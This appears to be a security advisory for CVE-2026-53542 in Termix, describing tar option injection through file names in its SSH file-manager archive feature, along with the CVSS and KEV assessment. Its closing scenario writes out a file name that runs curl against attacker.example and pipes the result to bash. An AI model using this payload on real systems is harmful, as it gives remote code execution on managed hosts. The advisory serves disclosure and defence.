Termix CVE-2026-53542

Exploitation requires a valid authenticated Termix user account with access to the SSH file-manager session feature - this is the product's core functionality and not a non-default configuration. The attacker must be able to create or upload files whose basenames begin with GNU tar option strings (specifically --checkpoint=N and --checkpoint-action=exec=<cmd>), then select those files when initiating archive creation. The vulnerability is triggered at archive creation time (tar, tar.gz, tar.bz2, or tar.xz); the managed SSH account's privilege level (e.g., root vs. limited user) determines the scope of impact on the host. Exploitation is strictly limited to users who already hold authenticated Termix access with file-manager permissions; unauthenticated access or Termix accounts lacking file-manager access cannot reach the vulnerable endpoint. No special network position, non-default configuration, or additional software is required beyond a working Termix deployment prior to version 2.3.2.

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately characterizes this vulnerability: it is network-reachable, requires no elevated complexity, demands only a low-privileged authenticated session, and yields full confidentiality, integrity, and availability impact on the managed SSH host. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified from available signals. The CVE is not in CISA KEV, meaning active exploitation is not confirmed; however, the underlying GNU tar checkpoint injection technique is publicly documented and requires no specialized tooling beyond standard Termix access. The gap between CVSS severity and KEV absence is consistent with a newly disclosed vulnerability in a niche product rather than a low-real-risk finding - any Termix operator running a version prior to 2.3.2 faces meaningful risk because the attack requires only a valid authenticated session with file-manager access, which is the product's core intended use case. Scope is unchanged (S:U), meaning impact is contained to the SSH host under management, which partially limits blast radius compared to a full scope-change flaw.

An authenticated Termix user with file-manager access creates two files on the managed SSH host via the file-manager interface, naming them --checkpoint=1 and --checkpoint-action=exec=curl${IFS}attacker.example/s.sh|bash. The user then selects these files and triggers archive creation (e.g., tar.gz). Termix's backend passes the basenames to GNU tar without a -- separator; tar interprets them as checkpoint directives and executes the embedded shell command on the SSH host with the privileges of the connected SSH account. No public exploit code has been identified at time of analysis, but the technique requires only standard Termix functionality and is straightforward to execute for any authenticated user.